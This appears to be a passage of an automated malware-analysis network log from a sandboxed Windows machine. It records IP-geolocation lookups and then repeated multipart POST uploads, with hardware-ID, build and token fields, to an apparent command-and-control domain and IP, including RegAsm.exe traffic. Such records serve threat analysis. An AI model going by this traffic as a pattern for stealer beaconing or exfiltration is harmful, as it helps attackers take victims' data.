2024-05-24 07:43:10 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bhqkq407rdvlb98u70hm77a8d3; expires=Tue, 17-Sep-2024 01:29:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n22ZkfUPsCmfgz69LPKlzWDKDiBxxiaX298qjZPMePGX4DobnkaXJ7HxyjL74kcsobwgqsz5Rv8bd5R9p8ZTO3ZsBhuQOGBzpR0G7gSKjqJ3HQK%2Bk2zn7hASjLYYurf3thF55QtWj4s8rg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba739baa35e7f-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49944	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:10 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-05-24 07:43:10 UTC	891	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:10 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N5wXj1oskXWD61FESLkI1lSeMu60uSiVQb5GXyZZUpDAC1SFrq0KtM%2BOkg0Y74qRzZsCMR1MBH3VFnfWed3z%2FMTr%2BiNcNJIqWAtpHiZ8gBRzcEDFNn%2FW6UUil9rk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba73a5a101865-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:10 UTC	419	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.175","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
2024-05-24 07:43:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49945	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:10 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 07:43:10 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:11 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gvfso15qo3htfsfv4norl386cs; expires=Tue, 17-Sep-2024 01:29:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u4lseCbKSgrXcMTkcLUxk1SRLtQJHVZ%2FAmvO7NeUNw%2FWg6rj6TJ3j%2FZ7FYFdanHKI7u957WBHrdg6feqhvZSaeg1xVpG79Nqd2FWl56Q8kRNUG24vIriYR9zMFtYBuPshg2He8YIDJVryQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba73d69cf0f59-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49947	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:11 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 07:43:11 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:11 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 07:43:11 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m7e6g80vkjv4laeq7cjlt66sja; expires=Tue, 17-Sep-2024 01:29:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9haHynxXL%2FBryMvZUf4J3zKtNNNzhy3didDmW%2BG7zFl6825gPw5ohTxyoyIU5EHZiyJpZxvFl%2F1iI0%2FijtGX1UqYjT%2BpPVLAWYSTzC0%2Bm2pumimjtAB90DQ09tq583k2q7l3Gp1UVG50FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba73fe9c54380-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49948	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:11 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 453 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:11 UTC	453	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="token"f87c630586c1a6668b0a88abdc7beab2------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------DBKFIDAAEHIEGCBFIDBFCont
2024-05-24 07:43:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:12 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49949	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:11 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 07:43:11 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 07:43:12 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3dcqorkvdl0sk2k61a2krlallj; expires=Tue, 17-Sep-2024 01:29:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=84syEHbSlGMEtMGC2UOO7wxa%2BuEjfckMgb2wfWUhwrDTpD19Czceg1cE%2BMJcEWX3n5wykqlhcZ9YnAPl4H%2FCgotPc2zRI2GkjI4p%2B33J2FY63F33Eq10ik%2FTTh22dkpCB%2BT8Rm9z4muVqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7445bb07d1c-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:12 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 07:43:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49950	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:12 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5433 Host: employhabragaomlsp.shop
2024-05-24 07:43:12 UTC	5433	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:12 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hi1fg3ih78u9mktstpal0059vk; expires=Tue, 17-Sep-2024 01:29:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TZbBAkqu3diCT63rSk0ndaspyVY1rgV1mgbTvTeRMpZDpCEUZjHOvIEe3of%2BdA8RflIMSwwtZ30dwz8FxcBv8EQPa1cbJutPm9JZ2NlqEbvsIPPB21bIsEuaCaFNF6hKnfaJ31jIhCxEjw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7461e374269-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49951	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:12 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 07:43:12 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 07:43:12 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 07:43:12 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 07:43:12 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49952	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:12 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 07:43:12 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:12 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s89rqmci88g36dv4bhrjrkgk13; expires=Tue, 17-Sep-2024 01:29:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3uh2B%2BuDeN%2BnLt942ZwSGC3CJni%2FQ6nAHOxay0lCzLKRWMwMBB%2FhxDm6F0dKJhhYLNcIZOaPiWnQe3IadAAThJi161Ex3smKLr3cO6V78IuvWCXWQwBAQGlau7LUdFX%2FZb76LJCWyBjfJg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba746cce73342-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49953	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:12 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 07:43:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
